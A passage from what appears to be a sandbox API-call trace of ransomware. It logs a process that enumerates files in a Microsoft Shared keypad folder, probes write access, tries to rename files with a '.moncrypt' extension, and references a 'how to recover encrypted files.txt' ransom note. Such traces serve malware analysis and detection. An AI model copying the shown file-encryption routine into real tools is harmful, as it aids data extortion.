lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.322] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\keypad\\ea.xmlt", lpUsedDefaultChar=0x0) returned 4 [0046.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.322] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.323] CloseHandle (hObject=0x190) returned 1 [0046.323] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\я")) returned 1 [0046.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 0x54e280 [0046.324] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.324] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.324] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", dwFileAttributes=0x20) returned 0 [0046.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.moncrypt")) returned 0 [0046.325] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0046.325] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.325] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.325] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.325] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.326] GlobalUnlock (hMem=0x44000c) returned 0 [0046.326] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.326] GlobalLock (hMem=0x440004) returned 0x555198 [0046.326] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.326] GlobalUnlock (hMem=0x44000c) returned 0 [0046.326] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.326] GlobalUnlock (hMem=0x440004) returned 0 [0046.326] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.326] CharLowerBuffW (in: lpsz="keypadbase.xml", cchLength=0xe | out: lpsz="keypadbase.xml") returned 0xe [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", cchWideChar=86, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xmlf", lpUsedDefaultChar=0x0) returned 86 [0046.327] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\keypad\\keypadbase.xmlf", lpUsedDefaultChar=0x0) returned 4 [0046.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 0x54e280 [0046.327] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.327] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.327] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", dwFileAttributes=0x20) returned 0 [0046.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.moncrypt")) returned 0 [0046.331] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0046.331] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.331] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.331] GlobalLock (hMem=0x440004) returned 0x553188 [0046.331] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.331] GlobalUnlock (hMem=0x440004) returned 0 [0046.331] GlobalLock (hMem=0x440004) returned 0x553188 [0046.331] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.331] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.331] GlobalUnlock (hMem=0x440004) returned 0 [0046.331] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.331] GlobalUnlock (hMem=0x44000c) returned 0 [0046.331] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.331] CharLowerBuffW (in: lpsz="kor-kor.xml", cchLength=0xb | out: lpsz="kor-kor.xml") returned 0xb [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchWideChar=83, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpUsedDefaultChar=0x0) returned 83 [0046.332] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpUsedDefaultChar=0x0) returned 4 [0046.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0x54e280 [0046.332] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.332] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.332] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", dwFileAttributes=0x20) returned 0 [0046.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.moncrypt")) returned 0 [0046.333] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0046.333] GetLastError () returned 0x12 [0046.333] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.333] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.333] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.333] GlobalUnlock (hMem=0x44000c) returned 0 [0046.334] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.334] GlobalLock (hMem=0x440004) returned 0x554190 [0046.334] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.334] GlobalUnlock (hMem=0x44000c) returned 0 [0046.334] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.334] GlobalUnlock (hMem=0x440004) returned 0 [0046.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61da8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.334] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3cff47c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3cff47c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.334] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.334] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.334] GlobalLock (hMem=0x440004) returned 0x552180 [0046.334] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.334] GlobalUnlock (hMem=0x440004) returned 0 [0046.334] GlobalLock (hMem=0x440004) returned 0x552180 [0046.334] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.334] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.334] GlobalUnlock (hMem=0x440004) returned 0 [0046.334] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.334] GlobalUnlock (hMem=0x44000c) returned 0 [0046.334] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.335] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3cff47c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3cff47c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.335] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.335] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.335] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.335] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.335] GlobalUnlock (hMem=0x44000c) returned 0 [0046.335] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.335] GlobalLock (hMem=0x440004) returned 0x555198 [0046.335] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.335] GlobalUnlock (hMem=0x44000c) returned 0 [0046.335] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.335] GlobalUnlock (hMem=0x440004) returned 0 [0046.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.335] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0046.335] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.335] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.335] GlobalLock (hMem=0x440004) returned 0x553188 [0046.335] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.335] GlobalUnlock (hMem=0x440004) returned 0 [0046.335] GlobalLock (hMem=0x440004) returned 0x553188 [0046.335] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.335] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.335] GlobalUnlock (hMem=0x440004) returned 0 [0046.335] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.335] GlobalUnlock (hMem=0x44000c) returned 0 [0046.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.335] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, 